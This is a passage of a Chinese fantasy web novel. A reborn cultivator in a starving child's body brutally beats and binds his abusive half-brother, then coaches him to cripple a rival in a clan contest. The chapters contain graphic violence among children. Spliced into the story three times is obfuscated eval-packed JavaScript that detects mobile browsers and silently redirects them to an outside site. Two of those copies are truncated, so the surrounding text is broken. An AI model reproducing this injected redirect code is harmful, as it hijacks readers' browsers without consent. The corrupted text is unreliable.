《我家乖乖草不乖了》 2. 聪明的孩子 全是光点怎会恢复记忆? 盛沂转了圈,在角落里找到一缕几乎看不见的神魂细丝,比起这些碎末神魂,这缕若隐若现的神魂细丝正如南溟中一勺水。还好他锤炼神魂从不松懈,他的神魂比同修为的修士强了数千倍,不然单这一缕神魂还承载不了这么多记忆。 感觉到盛沂的探查,这缕细不可闻的神魂慢慢飘过来亲昵地摆动尾端。 丹海里没有可调动的灵气拖住可怜巴巴的神魂。 盛沂只能用意识对它说:辛苦了。 神魂开心地想要转圈,结果没力气,只能原地扑腾两下。 退出丹海,盛沂细心地检查筋脉根骨。在过去的八年里,这具身体只剩生存本能,活下来已是不易,生下这具身体的娘亲本想借子翻身,没想到不仅是个四灵根还是个傻的,对儿子非打即骂,但好歹能吃饱穿暖。在四岁娘亲郁郁而终后,一直没吃没穿,身子骨瘦得可怜,稚嫩的五脏六腑本就脆得似纸,经过前面的折腾更是摇摇欲坠。 调来一部分血中稀薄的灵气养着内腑,逼出残留的污水。 “咳!” 灰黑的污水带血全部咳出,盛沂擦干嘴,透过窗户看天,过了一个半时辰,算来盛文醒了有一会儿,同一个地方摔了两跤,再暴躁迟钝的人也会长点心。 打开藏在衣柜最下面破烂的小木箱,里面没有金贵物件,只有一箱子的枣叶和好些个烂掉的枣核。盛沂把枣叶叠在上面,丢掉不能发芽的枣核,换上干净的衣服,回来院子里。 盛文醒来时,皮肤已经泡胀,脑袋发晕额头发疼,手腕发麻,因失血过多他有些迷茫。 发冷冰寒的四肢下意识在塘里扑腾,一个不留神滚落身后垫着的小丘,盛文咕噜噜呛入一大口腥臭的污水,这下他完全清醒了,急慌忙慌地挣扎起来爬上岸边。 盛文用力擦脸,缓过劲来,想起前面发生的事情,他发白的脸气红了。 这个杂种敢还手?! 盛文怒从心起,拳头捶在冷硬的塘边,疼得他手快断了,盛文龇牙咧嘴地看去,手腕被包扎起来,这狗东西能懂得给他包扎? 他扯开湿淋淋的布条,冲掉草渣滓,偌大一条血口呈现在眼前,因为他动作太大,划了手腕一半的血口裂开再次流出血来,疼得他两眼止不住翻白眼。 他说手怎么这么疼,盛翊这个狗杂种干的?他一个什么都不懂的白痴怎么能伤着他?! 盛文手脚并用爬上塘边,恶狠狠盯紧莲塘那边的院子。 两日后是族内大比,他是正室所生,正儿八经的盛大少爷,同一年的侧室盛二少爷盛武与他同为堪比双灵根的三灵根。 他是水火相克修炼土,盛武乃金水生木,木又克土,正如灵根克他,盛武生来便克他,他们同在六岁参加族内大比,他出乎众人意料地输了,还输得很惨,后面更是连着四年两次他输给盛武,父亲明显更器重盛武,母亲对他失望透顶。 盛文心中烦躁暴怒,但他必须装听话装懂事,没事过来揍一顿这白痴宣泄憋闷。 一直以来从未出事,直到今天,这傻子居然敢跑,他把人逮住,挣扎得厉害不让他揍个舒心,他怒火上头,只想把人溺死…… 没曾想死东西拽他下塘,用石头砸晕了他! 一个盛武骑他头上拉屎撒尿便算了,一个贱婢生下来没开智的杂种,也敢对他动手?! 盛文摸了额头,痛得他倒吸口凉气,小杂种,好大一个包! 他只好往头顶摸去,想要拍拍脑袋。 嘶! 盛文冷不丁疼得倒吸气。 砸的是额头,为什么他头皮也这么痛? 盛文真恨不得立马剁碎了这臭狗肉,但他还没砸傻,这傻子不太对劲。收回视线,起身跌跌撞撞的,还生怕别人发现只能躲躲藏藏回去。 天方暗。 一道身影潜入破败的院中,嗜血的目光紧盯关闭的大门,就在他提脚往前一步时,一颗枣核从左方飞来砸中他脑门。 “谁?!”盛文机警地看去,发现老枣树的树杈垂下一片洗得发白的素衣。 盛沂半身挂下来,对盛文打招呼,这场景挺恐怖的,像一副披着皮的骷髅架子微笑。 盛文抽出匕首,月光映照锋利的刀刃,衬得盛文双眼阴惨惨的。 “我说过会把你剁碎。” 盛沂吃着青枣,白天见他上树,老树以为他饿的到处爬,哗啦啦掉了一大堆青枣下来。盛情难却,盛沂只好全捡起来,青枣很酸很涩,多吃几个味道其实还行。 见盛文举着匕首过来,盛沂悠哉地用枣核砸盛文,砸得人眼歪鼻斜,气得马上要升天。 “我要挖了你的眼睛!割了你的鼻子,拔掉你的舌头,一根一根宰掉你的手指!” 枝叶又开始唰唰作响,可惜老树只有小小的灵智、少少的灵气,只能眼睁睁看着盛文欺负小崽。 盛沂在树干上写:别怕,有阵法。 枝叶还是担忧地颤动。 盛沂垂眼,看着头顶秃了一块的盛文来到树下,他思索,白天把人脑袋拽上塘边的时候,有这么用力吗? 盛文嘴里兴奋骂着要扒了盛沂的皮,踩上隆起的树根,在树影中他发现树干上有黑褐色的痕迹,但他根本没在意。 带灵气的匕首刚要钉上树干,灵气率先冲向树干,灵气相撞,扰乱树干上的锁灵符纹,所有困在符纹中的灵气喷涌而出,从树干涌向地面血纹,沾了灵气的血亮了起来,一个一阶缚灵阵激活,几十条血液化成的丝线牢牢绑住盛文,把人勒成了蚕蛹。 事情发生得太快,盛文只觉得眼前一阵光亮,随即就被绑住倒在地上。他拼命蠕动,一挣扎,这些丝线立马勒进肉里,真像千刀万剐。盛文疼得直流眼泪,偏生他嘴里也有好几根血线,完全没法叫出来。 枝叶摇晃,仿佛在给盛沂擂胜鼓。 翻身跳下树,稳稳落在盛文胸口,再轻再瘦弱也是一个人,盛沂这一脚踩得盛文身子折起,两眼凸出。 盛沂嫌脏地蹭了蹭脚,抓住盛文头发摁在储物袋上。 “唔,唔唔!唔唔唔唔!” 声大,很精神,看来还是放的血少了。 盛沂提起盛文的脑袋,对准石板一磕。 寂静的夜晚里,以头抢地的撞击听得人头皮发麻。 盛文两眼冒金星,挣扎的力度变小,盛沂拖着他再摁上储物袋。 没反应? 盛沂再拽,再磕。 盛文分不清鼻子疼还是头疼,两行温热滚下来,盛文尝到鼻血的咸腥,两眼一眨,委屈地哭了。 盛沂挪开脚,怕人把鼻血眼泪蹭到他鞋子,毫不留情地抓起头发再撞。 这次盛文撞清醒了,颤颤巍巍地探出神魂打开储物袋。 盛沂嫌弃地松开头发,手指捻住储物袋,走到另一边,让夜风带走他染上的血味。储物袋仅有一张桌子大小,里面装着二十四枚下品灵石,四套崭新的衣服,一些零散的药瓶,品质一般的法器。 握住温润的灵石,盛沂没有第一时间吸收,而是取出六枚灵石,以中央二土为双阵眼,分别镇守西南方、正东方,再调和金木水火。 阵内灵气相生,以外相克吸纳外来灵气,再将灵气一分为泾渭分明的两股,配合心法使用,一股狂躁打入体肤锤炼血肉筋脉,另一股柔和灵气贮存于丹海。 此乃盛沂独创的双聚灵阵,主要给根基弱的小妖修们吸纳灵气锤炼妖身用的。 下品灵石蕴含的灵气太少,盛沂全用来治愈重伤的内脏,顺便再把舌头治一下。 眼睁睁看着六枚下品灵石化成灰色的石头,在对面一直紧盯盛沂动作的盛文心跟着滴血。 他一个月只有两枚下品灵石,这二十四枚他攒了好久! 彻底从死亡边缘离开,盛沂心满意足睁眼,正值旭日东升,霞光染红他的眉眼,盛沂捡起地上的匕首,这件法器比储物袋里的歪瓜裂枣有用,他要了。 “唔唔!唔唔唔!唔唔!” 盛文被勒得全身血,脸被血污糊满,头发被扯掉了大把,满身的狼狈还不忘大叫阻止盛沂拿走匕首。 盛沂割开折腾一晚颜色已经暗淡的细丝。 全是涎水鼻涕的盛文僵硬地活动,张嘴就是口齿不清地怒骂:“狗杂……” “咚!” 一脚踩住他脑袋。 盛文没说完的话全被踩回去,变成乌龟王八趴在地上费劲地扑腾,一晚上的羞耻折辱,不仅没有消磨他的锐气,反倒点燃前所未有的怒火! “噗,噗。”血混着涎水蹭湿地面,气息粗喘,灰尘吸入鼻腔,盛文怒骂:“鸟屎,狗屎,蛆虫,畜牲,你敢动我?你活腻歪了!畜牲,畜牲,我要你死!死啊!” “盛武比你沉稳。” “盛武”两个字短暂扼住盛文的辱骂,随即是更密集的骂声,不过翻来覆去也就那几个骂词。 “他轻视你。” “干你爹,干你娘,干……” 砰! 盛沂弯腰,半蹲着拽起头发砸下去,这次头骨直接砸裂,盛文闷哼一声,眼前大片大片地发黑,脑中嗡嗡作响,他听见盛沂近在咫尺的声音,是来自地狱里的恶鬼在他耳边低吟,好强好恐怖的杀意,盛沂真的会杀了他! “闭嘴行吗?” 盛文慌张点头,这一砸砸碎了他的怒火,再一次涌出来的鼻血流入口中,他吞进喉咙里不敢发出丁点动静。 “你打不过他是事实。” 盛沂甩掉手里的头发,平淡地扫过又被揪秃的头皮。 “第一次他只是踢你下擂台,第二次他在族内大比公然打掉你的牙,第三次在族内大比打断你的手和脚,他有家主的重视,实力是他最肆无忌惮的底气,他一次次试探底线,但他尚未有杀你的实力。所以……”盛沂感受着脚下逐渐绷紧的身体。 “明天他会打碎你的脊骨或者击碎你的丹海,彻底废掉你,让你一辈子只能躺在床上。” 盛沂娓娓道来勾起盛文浑身的凉意,他下意识反驳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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每次他用出擒龙拳都会把盛武逼得还不了手,但擒龙拳过于暴烈刚猛,需要灵气聚于手臂筋脉,再逼至拳头打出去,一旦敌人中招轻则断骨重则要命,他每次用不了几招灵气便耗尽了,他只以为是自己练的还不够好。父亲他们从来不给他讲其中关窍,只会在他败下阵后,对他失望地说:对战意识太差。 “想赢盛武很简单。”脚下的脑袋扑腾,盛沂加大力度踩稳:“请安静。” 盛文不动了。 “我说过,他轻视你,对敌你这个手下败将他前所未有的自大傲慢。” 这具身体被盛家家主视作耻辱,不准踏出废弃院子一步,没见过除盛文外的任何人,更没看过什么族内大比。这些细枝末节全是盛沂从过去被盛文殴打时,他嘴里的骂词推测出来的。 “你明日上擂台,擒龙拳你只需作势,拳风间夹杂微末灵气,一般人看惯了你的招式,不会察觉其中灵气变化。等几个来回后,你佯装灵气不足,盛武必由守转攻,此时你只做闪躲,留足精力等到盛武耗尽灵气前的最后一击,不论脊骨、手、颈部、腹部、腿……任意一处,你都有足够灵气反制。” 盛沂讲完,脚尖下压:“听懂了吗?” “懂了。”盛文嘴抵着石板,瓮声瓮气的。 “重述一遍。” “上擂台后我需要保持和以前一样的做法,先用擒龙拳攻击,只做形势不用灵气。和以前一样坚持不住后,开始转为防守,照旧保存灵气。等防过盛武的最后一击,他将成为那只猎物!”盛文说着激动,他已经想到明日如何一雪前耻! 脚尖再次压紧,盛文克制激动的身体,保持住安静。 “你很聪明。” 盛文不可抑制地升起被夸赞的喜悦。 “不过,你还差最重要的一件事。” 盛文屏气凝神。 “废掉盛武。” ?! 盛文呼吸变重,身体在巨大的惊恐中没有挪动,安静两个字已经刻进他脑子里。 “不不不,不行,不行!父亲宠爱他,父亲很疼他。不行,我会被父亲打死,不……” 上方的嗓音带着几分嘲讽:“这副胆小的模样装给谁看?重复一遍。” 盛文哧哧地喘气,没有底气地说:“废掉盛武。” “再说一遍。” “废掉,盛武。” “再说一遍。” “废!掉!盛!武!” 废掉盛武,废掉盛武,就像盛武打算对他做的事情一样,废掉盛武!父亲疼爱盛武又怎样?父亲不会责罚他,因为已经废掉了一个盛武,绝不敢再废掉他,反而会更爱他,捧着他,培养他! “问责时藏好你的得意,别像只取胜的公鸡叫得全天下人都知道,冷血无情的人不会得到重视。”盛沂踢了踢翘起尾巴的盛文:“明白吗?” “明白。” 盛沂抬脚松开脑袋。 “寻个时间小心些回去,吃药治好伤,洗干净躺在床上睡至明早养足精神,废了盛武后来找我。” “好,好的。” 3. 魔主是谁 盛文听见轻到没有的脚步声走远,他大着胆子挪动发麻的脑袋扭过去,看见那具干尸像鸟轻盈地跃上树杈。 在阳光照耀下,透过稀疏的枝叶可以看见这傻子惬意地靠着交叉的双手,细成枝丫的两腿伸直,闭眼睡了过去。 模样还是没变,但周身气度早已翻天覆地。 盛文心中隐隐浮起一个念头,不过他不敢再招惹这傻子,爬起身来踉跄地离开了。 今日天气甚好。 盛沂一觉睡至傍晚:“我出去一趟。” 老枣树摇晃枝叶。 翻身下树,盛沂借着院里破缸里的水打量自身,脸瘦得没有人样,他微微侧开头,在左侧颈处有一粒小小的鲜红痣点,宛如朱墨不小心轻点。盛沂伸手擦过,见红痣还在放下心来。残魂在胎里便落了进来,按理说这具身体是他原生原长的,但确认后总要自在些。 手摸向腹部,肋骨一根根凸出,六岁时的衣裳穿在如今八岁的身上宛如披在骷髅上的麻布,不仅没变小还变大了。 这副样子出去怕是吓着人,他换上盛文的锦衣,披上斗篷戴好兜帽,这样一看虽然还是瘦骨嶙峋,好歹遮挡了许多没那么吓人。 出了院门,踩过石桥,盛沂穿过满塘盛开的莲花,走出这个废弃院落。 入目是个碧绿的大湖,迂回的水廊穿过湖面,两边密密地摆放四季盛开的奇花异草,花藤牵着红木栏杆,一簇簇的花朵被风拂过,飘下馥郁的花瓣落在池中,被养得肥美的鱼儿们慢悠悠地抢走。水廊间隔的亭子雕梁画柱,琉璃砖瓦在阳光折射下散发五彩的光芒,其亭内设有石桌,石桌上摆放着装饰鲜果,等水分失去小半,果皮不再饱满,打扫的下人倒入湖中补上新果。 他记得六岁半,在万物复苏的春季,老枣树奋力地开出满树小花,准备结好多枣子秋天给他,可春天几乎没有食物给他,院子里的草被拔光了塞进嘴里。 好饿,好饿。 他壮着胆子走出废院,没有力气再挪动步子时发现庭廊里的果子,就像抓住最后一根救命稻草,手脚并用地爬到亭子里,握住石桌上用以装饰的脆果,甜味冲淡饥饿,他不要命地吃,吃得嘴角撕裂,被巡逻家丁打得半死,扔进化冰不久的幽凉湖水里时还攥紧浸了血,只啃了两口的果子。 是盛文救了他,给了他药吃,偶尔施舍他些吃食,才活到现在。 盛文当然不是好心,他只是不想自己的出气筒死掉,不管怎么说,是救了他一命。 一队家丁经过水廊。 盛沂躲进茂盛的花丛中,浓郁的香味扑了他一脸,惊得好些蝴蝶翩翩飞走,等家丁走远,盛沂甩掉草叶花瓣,顺湖边找到处稍微低矮的院墙。 搬来垫脚石,盛沂利索翻身上墙,墙外正对着荒废的小巷。 从小巷中出来,盛家所在的大宅独占街道一隅,前方大门临街,车如流水马如游龙,虽是傍晚但洒满碎金的街上人潮不歇,大宅侧边靠护城河,杨柳依依,时有飘荡丝竹管弦的船舫经过。 这里灵气太少,看往人群的打扮不像修仙的城镇,盛沂混入人群中。 “买份舆图。” “好咧,四文。” 盛沂拿出一枚下品灵石,小贩恭敬地拒绝:“这位爷何来逗小的乐,这神仙玩意小的哪有这多银两补给爷?” 小贩拿来最上面那张纸皮舆图:“送给大人。” “多谢。” 盛沂很大方,从盛文的储物袋里拿出一瓶治愈外伤的药瓶,这里面的药粉混了点灵药粉末,比不得丹药但比一般的药效好很多。 小贩闻见药瓶的清香,赶忙左右看顾,趁没人发现赶紧藏入怀中。 “爷随便挑随便选,看上哪样尽管拿。” “有年份久些的舆图吗?” “有的有的。” 盛沂又挑了两张舆图,拿了一本宜耀年史。 折回院中时,夜空亮起点点星光,盛沂借月光先看年史。 修真界历史悠长,每十万年更换一次年号,通常以十万年之始的首位飞升大能名号命名。 上一位飞升大能爱好喝酒,自命名号为:清酒。 清酒末年,魔主杀尽人修前几大势力后,率众妖修屠杀魔修,将南洲并入西洲合为魔域,尊称为魔主,从此与人修不死不休。 清酒年结束改名为宜耀年,原为夷妖,夷平妖族之意。 盛沂目光停顿,随即快速翻阅完剩下的内容,今为宜耀一百五十四年,在短短一百多年内,人妖打了二十场大战,每不到十年就得打一次。 看来他死后至少四百多年中,妖修不仅站稳脚跟,更与人修分庭抗礼。 盛沂不免欣慰。 每带一只小妖回家,他都会教小妖们读书学字,教会他们仁义礼智信,教会他们人情是非、错对与否,教他们炼丹布阵、炼器绘符,把他们教得像人修一样狡猾聪慧。唯独那株新捡回来不到一年,呆愣愣嫩生生羞怯怯的小草,一碰便连枝带叶地藏起来,却在他出去时大着胆子弯过草叶勾住他的手指,他还没来得及等小草化形,给它取名,教它懂理识字。 思及此,盛沂拧紧眉。 他死的太早,比他估算的早了一百年,小妖修们的道德仁义未扎根入心底,他们与人修间有着血海深仇,这些血海深仇被盛沂捏着、握着、攥着,可盛沂也死了,同样死在人修手下。 他展开最陈旧的舆图。 这是清酒末年的舆图,与他记忆中的一模一样,以东西南北四大洲鼎足而立,中洲处于中心,灵气最为旺盛,由修真界内最强大的人修势力占据。 无边无际的无妄海将中洲与西洲、南洲、东洲相隔开,只能从北洲进入中洲。西洲是灵气最为稀薄的地方,不会修炼的常人最多,魔修自西洲攻入,杀尽常人老弱妇孺一个不留,怨气遮天蔽日,血流成河染得西洲土地黑入三尺,西洲被占称为魔域整个被标黑。 北洲临靠中洲,灵气浓郁旺盛,许多秘境洞府传承多出在中洲和北洲。魔修曾想攻破北洲直进中洲,被上一辈挡在临西城外,城后又设有九位巅峰阵修联手设下的结界很是安全。 东洲临靠北洲,与南洲相同,灵气一般但比西洲强,想进入中洲必须先进入北洲。 接下来是南洲。南洲与东洲没什么区别,但南洲有唯一一个只招妖修,以妖命名的宗门。 这是盛沂建立的妖宗。 南洲离中洲、北洲都远,位置很安全,他把抢来的灵脉法宝全放进宗内,妖宗里灵气浓郁得与中洲相差无几。 展开第二张舆图。 据小贩介绍,这是宜耀第一百年,人妖对战十二次后的舆图。 盛沂下意识去看西北接壤的临西城,城还在,结界不在了,北洲照样是北洲没有一处被标黑。能把魔修的地盘占据,冲碎北洲结界,妖修的实力不应该抢不走临西城,让北洲相安无事。 妖族对人修的态度,似乎并非水火不容。 展开第三张舆图。 这张舆图很新,在五年前重绘过,期间发生了八次大战,但地形与第二张没有太大区别,妖宗被标黑早已看不见,魔域依旧只有南西两洲。 晚风习习吹起盛沂枯槁干黄的头发,手指拂过临西城,有个想法不受控地冒出来。 盛沂压下这个想法,他现在只会身处东洲靠东的位置,他父亲母亲死后,盛家颓势已见,旗下地盘资源被陆续瓜分,为了对付他,人修追杀盛家人提炼亲血融入阵法对付他,盛家残余分支逃到东洲很正常。 从西侧一路往东扫过,无数地名城镇滑过,灵气虽然稀少,但有十二岁的练气三重,位置不会太靠东,应处于中间。城内街道交错相通,全用砖石铺砌,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他”是只妖,只能出生在妖宗,三百年取之不尽用之不竭的灵气功法心得给“他”创造了一个专心修炼的桃花源。“他”开始一定不能很强,因为宗内有性子恶劣的弟子不会允许有实力更强的妖。“他”或许没有好的妖修血脉,或许血脉没有觉醒,“他”必须努力且有天赋,日夜不休地修炼,即便灵气冲破筋脉也只会面无表情地修复再次吸纳。“他”必须足够聪明懂得藏拙,有难以想象的毅力。“他”唯一夺权的机会在阵法碎掉的那一刻,人修迫不及待地想杀掉妖修、夺取珍宝,巩固人修在修真界的地位,妖修恨不得吸食仇人的血,嚼碎这群仇人的骨头,“他”藏在暗处窥视这一切,把实力提升到无人可敌的顶端,迅速镇压妖族打退人修。 沉稳、勤奋、坚持、智慧、强大。 这是“他”的底色。 盛沂再画下最关键的一笔——欲望。 凡活物必有欲望,妖兽妖修们欲为生,人修欲为长生、名利权势。 他”为什么当魔主?“他”欲望是什么,必须成为魔主才能得到? 从当前来看,“他”在艰难维护这僵持的假太平。 他的欲望是人妖之间达到一个平衡。 为什么“他”几百年来如一日地一直维护人妖之间的平衡不被彻底打破? 凡欲望必有因由,饿的人欲望是吃饱,冷的人欲望是暖和,残疾的人欲望是健全,重病的人欲望是痊愈……那么“他”的因由是什么? 盛沂看着细线框画出来的临西城,平静地想:因为这不是“他”的真正欲望,是他的欲望意图。 “他”在乎他,在乎到无所谓自己的性命,强硬地从妖修人修魔修中杀出一条血路。 ——“他”真正欲望是他。 食指轻颤了下,盛沂轻点舆图上魔域二字。 这个“他”的想法过于显而易见。 临西城是盛沂父亲母亲先后葬身的地方,对别人不值一提,可对盛沂有非同寻常的意义,临西城一直保留到现在,甚至没有归于魔域。 盛沂对人修的恨意从不少于妖修,但人修不全是坏的,正如妖修不全是好的,他成立妖宗是给妖修争地位,不是与人修生死一战。 他一直都以帮助小妖修们融入人修来教导,“他”在实现他的想法,但“他”无法教导妖修,无法游说人修,干脆用拳头打服。而这铁腕的拳头摊开,化作水般的手掌,小心翼翼地拾起他的过去,拼起他未实现的以后。 战栗自心口长出藤蔓,攀至四肢百骸。 盛沂眼睫抖动,停止勾画。 一个没有脸的魔主跃然脑中。 身姿挺拔利如剑,气势凛冽切碎空间,重袍染血,犀利的炽热眼神不容置疑直视而来。 盛沂被烫得睁开眼。 “他”是谁? 盛沂找不出来,妖宗上下数千只妖修被盛沂翻来翻去比对,没有一只小妖完全符合。 4. 你是夺舍的 翌日。 大宅内很是热闹,隔着大湖也能听见吵闹。 练武场搭设好了擂台,族长和各长老分坐在上位,族内弟子以及分家弟子们于擂台边缘观看,比试的弟子们在另一侧坐好,面前摆放着瓜果热茶。 盛文旁边是刚来的盛武,两兄弟眉宇神似上面的家主,只是盛文眉梢眼角带着一点即炸的暴怒,盛武满脸带笑,一副好说话的姿态,单看面相盛武更符合“文”这个名。 盛武坐在盛文旁边,盛文恶心得不行,要不是早安排好的位置,他早把盛武连人带椅子踹飞。 “大哥素来勤奋,两年苦练擒龙拳想必进步神速,只怕二弟不是大哥的对手,等会儿还望大哥手下留情。”盛武落座后微笑看过父亲长老们,对他大哥打招呼。 盛文翻了个白眼,嬉皮笑脸的贱种。 “上次内比侥幸胜过大哥,情急中不慎踢断大哥手脚。”盛武真诚地拱手致歉:“大哥一直不愿搭理二弟,还请大哥宽恕则个。” “不慎踢断手脚?你可真有不小心的。”盛文阴阳怪气。 这小杂种,每次就爱在别人面前装模作样,这么喜欢装,怎么不去当戏子?天天站戏台子上装个够。 “比试擂台上拳脚无眼,是二弟的错,大哥埋怨二弟,打我骂我也是应该的。” 盛文莫名其妙,谁他祖宗十八代的打你骂你了?! 他真烦盛武一天到晚委屈巴巴的死样,不知道的还以为这死人才是受委屈的一个。 不过翻腾的怒气想到这个碍眼的杂种即将被废掉,再也在他面前装不起来,成倍地变成喜悦。 盛文端起滚茶啜饮几口稳住躁动的情绪。 盛武略有疑惑打量他这没脑子的大哥,以往不等他说完一句话,就开始掀桌辱骂被父亲斥责不堪大用,气得一上擂台用出全部灵气恨不得杀了他,今日似有些奇怪,这没脑子的炮仗真变沉稳了? “我的擒龙拳向来比不得大哥,幸得父亲日日教导得以领悟,父亲说,我的擒龙拳比起大哥半点不差。”盛武期待地说:“我也想看看与大哥引以为傲的擒龙拳相差几何,只是擒龙拳威力过大,比试时不小心伤了实乃正常,望大哥不要介怀。” 盛文捕捉到炫耀中的一丝迫不及待的威胁。 他张开烫红的嘴,吐掉茶梗,展开阴沉沉的笑:“二弟说得有理,比试时拳脚无眼受伤在所难免,也望二弟不要介怀啊。” 盛武皱紧眉,等到家主说完话,两人跃上擂台。 在弟子们欢呼中,盛文暴烈地席卷狂躁灵气直击正面,盛武闪身躲开,他心中疑虑打消,还以为盛文有所成长,看来只学会了装腔作势。 盛文攻势没几个来回便落了下风,只会狼狈逃窜,盛武戏耍了一阵,耗光盛文力气,见时机成熟,以胜利的姿势把所有灵气聚在脚上踹向盛文腹部,速度之快带起脚风,力度能直接踹断腰椎。 原本没有力气躲开的盛文侧身避开这一招,在盛武错愕中,盛文两手如铁钳抓住他的脚,用力旋手翻转,骨头咔嚓一声,大腿折断,盛武惨叫。 上方家主腾地站起身,筑基大圆满的修为全部冲出。 “逆子,住手!” 盛文咧嘴笑,一直积攒的灵气全部涌向脚,像盛武想对他做的那样,对准还没落地的盛武腰部狠狠踹去。 “砰!” 盛文盛武同时飞出去,盛文被击飞,口吐鲜血直接砸在庭廊梁柱,飞身而来的家主接住了晕死的盛武,他率先摸向盛武的后腰。 腰椎骨头全碎,从内扎破血肉刺了出来,少年身子淌着血在怀里弯出一个可怕的幅度。 家主阴沉着脸,看向嘴里流血低埋着头的盛文,把盛武交给长老:“逆子,滚过来!” 盛文吐掉血,收起幸灾乐祸的表情,父亲那一击看似重,实则根本没伤到他的要害,可惜他没来得及踩断盛武的手脚。 “你在做什么?!” “我能做什么?”盛文直视这个他以前崇敬害怕的人,才发现这张脸并没想象中的恐怖,一张普普通通的男人的脸,还没有昨晚的那白痴吓人。 “盛文,你存心废了你的二弟!” 盛文装不出可怜委屈的傻货模样,只好捂住被打伤的胸口,再次埋起脑袋,放低声音:“父亲何必如此偏心?我不小心罢了,比试时拳脚无眼伤人不是很常见吗?” “这叫常见吗?你是不是奔着杀了你二弟去的!” “二弟打落我牙齿时父亲看不见,二弟打断我手脚时父亲看不见,我只赢了二弟一次,不小心打伤了他,父亲便这般污蔑我吗?” 打落牙齿打断手脚和废掉人能一样?! “滚去祠堂跪下思过!你二弟不醒不准出来!” 盛文撇嘴:“遵命,父亲。” 外面烈日当空,祠堂内阴凉昏暗,一排排刻有身份名讳的灵牌在长明灯闪烁中犹如挣扎的孤魂,对于一般的小孩来说在祠堂罚跪是噩梦,但盛文半点不怕,如果这些老祖宗还活着,他们盛家何至于沦落到风城这犄角旮旯?学来一堆繁文缛节,没个厉害的祖宗,牌子倒立了不少。 他啃着贡品,坐在桌上翘着腿,不屑地扫过灵牌上的字。 曾在书房的手札里看过有关盛家的只言片语,清酒年盛家也曾是中洲的修仙大世家,族中金丹弟子多如杂毛。盛文吐掉果核,事不关己地想,大抵得罪了什么更厉害的势力,被追杀成了落水狗躲到这边来,再要不了几年,估计连风城都待不了。 盛文畅想,落魄的盛家在等一个带他们重回中洲的人,盛武比不过他,这个人只会是他,他会在盛家族谱上留下最浓墨色彩的一笔! 不过修士人死魂灭,除了元婴以上多了条命外,不讲什么立牌位记族谱。 他正在纠结,门外传来动静。 盛文把残渣果核果皮全踢到桌下,老老实实跪好。 家主不在,盛文一反常态胜了盛武,更重伤了盛武。一时间议论纷纷,草草结束了族内大比。 郎中方从盛武房里出来,盛武被废的消息传遍整个盛家。他腰部骨头全碎,不仅下半身再也无法活动,连丹海也受损了,修为从练气三重后期跌至练气三重。外面的长老们看着黑着脸的家主出房,径直往祠堂那边去。 戌时方到,换了身衣裳的盛文光鲜亮丽地来到废院。 短短一天院子里已经大变样,杂草除得干干净净,用旧木拼成的木躺椅摆在老枣树下,八岁的小孩躺在木椅里闭眼小憩。身子骨过于瘦弱,他的衣服在这人身上像盖了一张黑布。 “嘿,小傻子。” “盛沂。” “盛沂,盛翊?”盛文悠然自在地负手走过来:“你这么担心暴露身份,特意糟践自己取个和傻子差不多的名字。” 盛沂没有睁开眼看盛文。 “你是夺舍来的。”盛文话里的得意溢出来,像叼着肉块过来摇着尾巴大肆炫耀的小狼崽子:“你原来是什么境界的?元婴?能夺舍身体的只有元婴。” 盛文摇头感叹,言语间全无对夺舍者的恐惧:“元婴啊,城主也就一个金丹,父亲才筑基呢。你是迫不得已落到傻子的身体里,伤得很重?” “挺重,不过不是夺舍,神魂落在这具身体里一直没有醒来。”盛沂认真地回答。 “那你如今没有修为咯?” “对的。” 盛文笑容扩大,脚尖抵住椅脚:“哎,你从哪个大地方来的?能修炼到元婴,手里的好东西肯定不少,你修炼的什么?体修吗?” “从南洲来的,只尚且记得些功法,别的好东西留在家里面没带出来。” “功法?!”盛文眼中的贪婪藏不住:“南洲?你是清酒年的人?只有清酒年的人会说南洲,南洲那地不好啊。”盛文弯下腰,靠近盛沂:“你的功法有用吗?” “去过不少秘境洞府总会得到些不错的功法,不过我不是元婴。” 盛文伸出缠绕金线的手,灵气自丹海而出,绕筋脉血管而行来到手掌,感应到灵气的金线蠢蠢欲动,手掌从身后慢慢探出,只要半个身子的距离就能抓住一个身怀巨宝的夺舍者! “难道是金丹?” 盛沂睁开眼,眼尾略微上挑,似桃花瓣的眼内自带三分笑意,让人见之心生暖意,下意识想相信他的话:“是化神。” “什么?!你当爷爷傻啊?化神,哈,化神,你唬傻……啊!” 话音未落,黯淡的神魂自丹海调出,盛文缠绕着金线的右手手指后知后觉地一疼,小指滚落在地,鲜血溅了出来。 “不要吵。” 尖叫堵在喉咙里,盛文苍白着脸捂住右手,他根本没看见盛沂怎么动手! 摘下盛文右手的金线,盛沂慢慢缠在自己手上对准盛文,金线瞬间延伸弹出变成细网网住盛文。 “真笨。” “你他娘的骂……” 盛沂看了盛文一眼,很难形容这是什么样的眼神。 这下盛文真的信盛沂是化神,东洲几乎不存在的化神!这种看活人宛如看路边草木尸体的目光,只有实力到了无所畏惧的强者才能有。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154922|196540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“自作聪明地把我交上去换来更多的资源和帮助?” 盛文脸色一下变得煞白,他怎么猜到的?! “你不仅没见过世面,还自大傲慢,如果昨日不提醒你,你一辈子都赢不了盛武,你比他差不仅一点而是很多。” 盛沂的嗓音还是平淡,但一字一句仿佛刀斧利刃碾碎盛文过满的自尊。 